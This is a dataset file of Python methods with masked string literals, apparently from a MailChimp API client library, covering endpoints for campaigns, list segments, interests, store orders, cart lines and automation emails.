{"signature": "def all(self, list_id, category_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>self.interest_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>', category_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(<EOL>url=self._build_path(list_id, '<STR_LIT>', category_id, '<STR_LIT>'),<EOL>**queryparams<EOL>)<EOL><DEDENT>", "docstring": "Get a list of this category\u2019s interests.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f284:c0:m2"}
{"signature": "def get(self, list_id, category_id, interest_id, **queryparams):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>self.interest_id = interest_id<EOL>return self._mc_client._get(<EOL>url=self._build_path(list_id, '<STR_LIT>', category_id, '<STR_LIT>', interest_id),<EOL>**queryparams<EOL>)<EOL>", "docstring": "Get interests or \u2018group names\u2019 for a specific category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param interest_id: The specific interest or \u2018group name\u2019.\n:type interest_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f284:c0:m3"}
{"signature": "def update(self, list_id, category_id, interest_id, data):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>self.interest_id = interest_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(<EOL>url=self._build_path(list_id, '<STR_LIT>', category_id, '<STR_LIT>', interest_id),<EOL>data=data<EOL>)<EOL>", "docstring": "Update interests or \u2018group names\u2019 for a specific category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param interest_id: The specific interest or \u2018group name\u2019.\n:type interest_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f284:c0:m4"}
{"signature": "def delete(self, list_id, category_id, interest_id):", "body": "self.list_id = list_id<EOL>self.category_id = category_id<EOL>self.interest_id = interest_id<EOL>return self._mc_client._delete(<EOL>url=self._build_path(list_id, '<STR_LIT>', category_id, '<STR_LIT>', interest_id)<EOL>)<EOL>", "docstring": "Delete interests or group names in a specific category.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param category_id: The unique id for the interest category.\n:type category_id: :py:class:`str`\n:param interest_id: The specific interest or \u2018group name\u2019.\n:type interest_id: :py:class:`str`", "id": "f284:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(CampaignFolders, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.folder_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f285:c0:m0"}
{"signature": "def create(self, data):", "body": "if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(), data=data)<EOL>if response is not None:<EOL><INDENT>self.folder_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.folder_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new campaign folder.\n\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f285:c0:m1"}
{"signature": "def all(self, get_all=False, **queryparams):", "body": "self.folder_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL><DEDENT>", "docstring": "Get all folders used to organize campaigns.\n\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f285:c0:m2"}
{"signature": "def get(self, folder_id, **queryparams):", "body": "self.folder_id = folder_id<EOL>return self._mc_client._get(url=self._build_path(folder_id), **queryparams)<EOL>", "docstring": "Get information about a specific folder used to organize campaigns.\n\n:param folder_id: The unique id for the campaign folder.\n:type folder_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f285:c0:m3"}
{"signature": "def update(self, folder_id, data):", "body": "self.folder_id = folder_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(folder_id), data=data)<EOL>", "docstring": "Update a specific folder used to organize campaigns.\n\n:param folder_id: The unique id for the campaign folder.\n:type folder_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f285:c0:m4"}
{"signature": "def delete(self, folder_id):", "body": "self.folder_id = folder_id<EOL>return self._mc_client._delete(url=self._build_path(folder_id))<EOL>", "docstring": "Delete a specific campaign folder, and mark all the campaigns in the\nfolder as \u2018unfiled\u2019.\n\n:param folder_id: The unique id for the campaign folder.\n:type folder_id: :py:class:`str`", "id": "f285:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListActivity, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f286:c0:m0"}
{"signature": "def all(self, list_id, **queryparams):", "body": "self.list_id = list_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get up to the previous 180 days of daily detailed aggregated activity\nstats for a list, not including Automation activity.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f286:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListMemberActivity, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.subscriber_hash = None<EOL>", "docstring": "Initialize the endpoint", "id": "f287:c0:m0"}
{"signature": "def all(self, list_id, subscriber_hash, **queryparams):", "body": "subscriber_hash = check_subscriber_hash(subscriber_hash)<EOL>self.list_id = list_id<EOL>self.subscriber_hash = subscriber_hash<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', subscriber_hash, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get the last 50 events of a member\u2019s activity on a specific list,\nincluding opens, clicks, and unsubscribes.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param subscriber_hash: The MD5 hash of the lowercase version of the\n  list member\u2019s email address.\n:type subscriber_hash: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f287:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportCampaignAdvice, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f288:c0:m0"}
{"signature": "def all(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL>", "docstring": "Get feedback based on a campaign\u2019s statistics. Advice feedback is\nbased on campaign stats like opens, clicks, unsubscribes, bounces, and\nmore.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f288:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(CampaignActions, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f289:c0:m0"}
{"signature": "def cancel(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'))<EOL>", "docstring": "Cancel a Regular or Plain-Text Campaign after you send, before all of\nyour recipients receive it. This feature is included with MailChimp\nPro.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f289:c0:m1"}
{"signature": "def pause(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'))<EOL>", "docstring": "Pause an RSS-Driven campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f289:c0:m2"}
{"signature": "def replicate(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'))<EOL>", "docstring": "Replicate a campaign in saved or send status.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f289:c0:m3"}
{"signature": "def resume(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'))<EOL>", "docstring": "Resume an RSS-Driven campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f289:c0:m4"}
{"signature": "def schedule(self, campaign_id, data):", "body": "if not data['<STR_LIT>']:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if data['<STR_LIT>'].tzinfo is None:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>else:<EOL><INDENT>if data['<STR_LIT>'].tzinfo.utcoffset(None) != timedelta(<NUM_LIT:0>):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT><DEDENT><DEDENT>if data['<STR_LIT>'].minute not in [<NUM_LIT:0>, <NUM_LIT:15>, <NUM_LIT:30>, <NUM_LIT>]:<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>data['<STR_LIT>'] = data['<STR_LIT>'].strftime('<STR_LIT>')<EOL>self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'), data=data)<EOL>", "docstring": "Schedule a campaign for delivery. If you\u2019re using Multivariate\nCampaigns to test send times or sending RSS Campaigns, use the send\naction instead.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"schedule_time\": datetime* (A UTC timezone datetime that ends on the quarter hour [:00, :15, :30, or :45])\n}", "id": "f289:c0:m5"}
{"signature": "def send(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'))<EOL>", "docstring": "Send a MailChimp campaign. For RSS Campaigns, the campaign will send\naccording to its schedule. All other campaigns will send immediately.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f289:c0:m6"}
{"signature": "def unschedule(self, campaign_id):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._post(url=self._build_path(campaign_id, '<STR_LIT>'))<EOL>", "docstring": "Unschedule a scheduled campaign that hasn\u2019t started sending.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`", "id": "f289:c0:m8"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(CampaignContent, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f290:c0:m0"}
{"signature": "def get(self, campaign_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT:content>'), **queryparams)<EOL>", "docstring": "Get the the HTML and plain-text content for a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f290:c0:m1"}
{"signature": "def update(self, campaign_id, data):", "body": "self.campaign_id = campaign_id<EOL>return self._mc_client._put(url=self._build_path(campaign_id, '<STR_LIT:content>'), data=data)<EOL>", "docstring": "Set the content for a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f290:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ReportClickDetailReports, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.campaign_id = None<EOL>self.link_id = None<EOL>self.members = ReportClickDetailMembers(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f291:c0:m0"}
{"signature": "def all(self, campaign_id, get_all=False, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.link_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about clicks on specific links in your MailChimp\ncampaigns.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f291:c0:m1"}
{"signature": "def get(self, campaign_id, link_id, **queryparams):", "body": "self.campaign_id = campaign_id<EOL>self.link_id = link_id<EOL>return self._mc_client._get(url=self._build_path(campaign_id, '<STR_LIT>', link_id), **queryparams)<EOL>", "docstring": "Get click details for a specific link in a campaign.\n\n:param campaign_id: The unique id for the campaign.\n:type campaign_id: :py:class:`str`\n:param link_id: The id for the link.\n:type link_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f291:c0:m2"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreCartLines, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.cart_id = None<EOL>self.line_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f292:c0:m0"}
{"signature": "def create(self, store_id, cart_id, data):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>', cart_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.line_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.line_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new line item to an existing cart.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"product_id\": string*,\n    \"product_variant_id\": string*,\n    \"quantity\": integer*,\n    \"price\": number*\n}", "id": "f292:c0:m1"}
{"signature": "def all(self, store_id, cart_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>self.line_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>', cart_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', cart_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a cart\u2019s line items.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer", "id": "f292:c0:m2"}
{"signature": "def get(self, store_id, cart_id, line_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>self.line_id = line_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', cart_id, '<STR_LIT>', line_id), **queryparams)<EOL>", "docstring": "Get information about a specific cart line item.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param line_id: The id for the line item of a cart.\n:type line_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f292:c0:m3"}
{"signature": "def update(self, store_id, cart_id, line_id, data):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>self.line_id = line_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', cart_id, '<STR_LIT>', line_id), data=data)<EOL>", "docstring": "Update a specific cart line item.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param line_id: The id for the line item of a cart.\n:type line_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f292:c0:m4"}
{"signature": "def delete(self, store_id, cart_id, line_id):", "body": "self.store_id = store_id<EOL>self.cart_id = cart_id<EOL>self.line_id = line_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', cart_id, '<STR_LIT>', line_id))<EOL>", "docstring": "Delete a cart.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param cart_id: The id for the cart.\n:type cart_id: :py:class:`str`\n:param line_id: The id for the line item of a cart.\n:type line_id: :py:class:`str`", "id": "f292:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(SearchMembers, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f293:c0:m0"}
{"signature": "def get(self, **queryparams):", "body": "if '<STR_LIT>' in queryparams:<EOL><INDENT>self.list_id = queryparams['<STR_LIT>']<EOL><DEDENT>else:<EOL><INDENT>self.list_id = None<EOL><DEDENT>return self._mc_client._get(url=self._build_path(), **queryparams)<EOL>", "docstring": "Search for list members. This search can be restricted to a specific\nlist, or can be used to search across all lists in an account.\n\n:param queryparams: The query string parameters\nqueryparams['fields'] = array\nqueryparams['exclude_fields'] = array\nqueryparams['query'] = string\nqueryparams['list_id'] = string\nqueryparams['offset'] = integer", "id": "f293:c0:m1"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(ListSegments, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.list_id = None<EOL>self.segment_id = None<EOL>self.members = ListSegmentMembers(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f294:c0:m0"}
{"signature": "def create(self, list_id, data):", "body": "self.list_id = list_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>response = self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.segment_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.segment_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Create a new segment in a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f294:c0:m1"}
{"signature": "def all(self, list_id, get_all=False, **queryparams):", "body": "self.list_id = list_id<EOL>self.segment_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about all available segments for a specific list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['type'] = string\nqueryparams['before_created_at'] = string\nqueryparams['since_created_at'] = string\nqueryparams['before_updated_at'] = string\nqueryparams['since_updated_at'] = string", "id": "f294:c0:m2"}
{"signature": "def get(self, list_id, segment_id, **queryparams):", "body": "self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>return self._mc_client._get(url=self._build_path(list_id, '<STR_LIT>', segment_id), **queryparams)<EOL>", "docstring": "Get information about a specific segment.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f294:c0:m3"}
{"signature": "def update(self, list_id, segment_id, data):", "body": "self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>if '<STR_LIT:name>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>return self._mc_client._patch(url=self._build_path(list_id, '<STR_LIT>', segment_id), data=data)<EOL>", "docstring": "Update a specific segment in a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"name\": string*\n}", "id": "f294:c0:m4"}
{"signature": "def update_members(self, list_id, segment_id, data):", "body": "self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>return self._mc_client._post(url=self._build_path(list_id, '<STR_LIT>', segment_id), data=data)<EOL>", "docstring": "Batch add/remove list members to static segment.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"members_to_add\": array,\n    \"members_to_remove\": array\n}", "id": "f294:c0:m5"}
{"signature": "def delete(self, list_id, segment_id):", "body": "self.list_id = list_id<EOL>self.segment_id = segment_id<EOL>return self._mc_client._delete(url=self._build_path(list_id, '<STR_LIT>', segment_id))<EOL>", "docstring": "Delete a specific segment in a list.\n\n:param list_id: The unique id for the list.\n:type list_id: :py:class:`str`\n:param segment_id: The unique id for the segment.\n:type segment_id: :py:class:`str`", "id": "f294:c0:m6"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(StoreOrders, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.store_id = None<EOL>self.order_id = None<EOL>self.lines = StoreOrderLines(self)<EOL>", "docstring": "Initialize the endpoint", "id": "f295:c0:m0"}
{"signature": "def create(self, store_id, data):", "body": "self.store_id = store_id<EOL>if '<STR_LIT:id>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT:id>' not in data['<STR_LIT>']:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if not re.match(r\"<STR_LIT>\", data['<STR_LIT>']):<EOL><INDENT>raise ValueError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in data:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>for line in data['<STR_LIT>']:<EOL><INDENT>if '<STR_LIT:id>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT>if '<STR_LIT>' not in line:<EOL><INDENT>raise KeyError('<STR_LIT>')<EOL><DEDENT><DEDENT>response = self._mc_client._post(url=self._build_path(store_id, '<STR_LIT>'), data=data)<EOL>if response is not None:<EOL><INDENT>self.order_id = response['<STR_LIT:id>']<EOL><DEDENT>else:<EOL><INDENT>self.order_id = None<EOL><DEDENT>return response<EOL>", "docstring": "Add a new order to a store.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`\ndata = {\n    \"id\": string*,\n    \"customer\": object*\n    {\n        \"'id\": string*\n    },\n    \"curency_code\": string*,\n    \"order_total\": number*,\n    \"lines\": array*\n    [\n        {\n            \"id\": string*,\n            \"product_id\": string*,\n            \"product_variant_id\": string*,\n            \"quantity\": integer*,\n            \"price\": number*\n        }\n    ]\n}", "id": "f295:c0:m1"}
{"signature": "def all(self, store_id, get_all=False, **queryparams):", "body": "self.store_id = store_id<EOL>self.order_id = None<EOL>if get_all:<EOL><INDENT>return self._iterate(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>else:<EOL><INDENT>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>'), **queryparams)<EOL><DEDENT>", "docstring": "Get information about a store\u2019s orders.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param get_all: Should the query get all results\n:type get_all: :py:class:`bool`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []\nqueryparams['count'] = integer\nqueryparams['offset'] = integer\nqueryparams['customer_id'] = string", "id": "f295:c0:m2"}
{"signature": "def get(self, store_id, order_id, **queryparams):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>return self._mc_client._get(url=self._build_path(store_id, '<STR_LIT>', order_id), **queryparams)<EOL>", "docstring": "Get information about a specific order.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param queryparams: The query string parameters\nqueryparams['fields'] = []\nqueryparams['exclude_fields'] = []", "id": "f295:c0:m3"}
{"signature": "def update(self, store_id, order_id, data):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>return self._mc_client._patch(url=self._build_path(store_id, '<STR_LIT>', order_id), data=data)<EOL>", "docstring": "Update a specific order.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`\n:param data: The request body parameters\n:type data: :py:class:`dict`", "id": "f295:c0:m4"}
{"signature": "def delete(self, store_id, order_id):", "body": "self.store_id = store_id<EOL>self.order_id = order_id<EOL>return self._mc_client._delete(url=self._build_path(store_id, '<STR_LIT>', order_id))<EOL>", "docstring": "Delete an order.\n\n:param store_id: The store id.\n:type store_id: :py:class:`str`\n:param order_id: The id for the order in a store.\n:type order_id: :py:class:`str`", "id": "f295:c0:m5"}
{"signature": "def __init__(self, *args, **kwargs):", "body": "super(AutomationEmailActions, self).__init__(*args, **kwargs)<EOL>self.endpoint = '<STR_LIT>'<EOL>self.workflow_id = None<EOL>self.email_id = None<EOL>", "docstring": "Initialize the endpoint", "id": "f296:c0:m0"}
{"signature": "def pause(self, workflow_id, email_id):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>return self._mc_client._post(url=self._build_path(workflow_id, '<STR_LIT>', email_id, '<STR_LIT>'))<EOL>", "docstring": "Pause an automated email.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`", "id": "f296:c0:m1"}
{"signature": "def start(self, workflow_id, email_id):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>return self._mc_client._post(url=self._build_path(workflow_id, '<STR_LIT>', email_id, '<STR_LIT>'))<EOL>", "docstring": "Start an automated email.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`", "id": "f296:c0:m2"}
{"signature": "def delete(self, workflow_id, email_id):", "body": "self.workflow_id = workflow_id<EOL>self.email_id = email_id<EOL>return self._mc_client._delete(url=self._build_path(workflow_id, '<STR_LIT>', email_id))<EOL>", "docstring": "Removes an individual Automation workflow email.\n\n:param workflow_id: The unique id for the Automation workflow.\n:type workflow_id: :py:class:`str`\n:param email_id: The unique id for the Automation workflow email.\n:type email_id: :py:class:`str`", "id": "f296:c0:m3"}
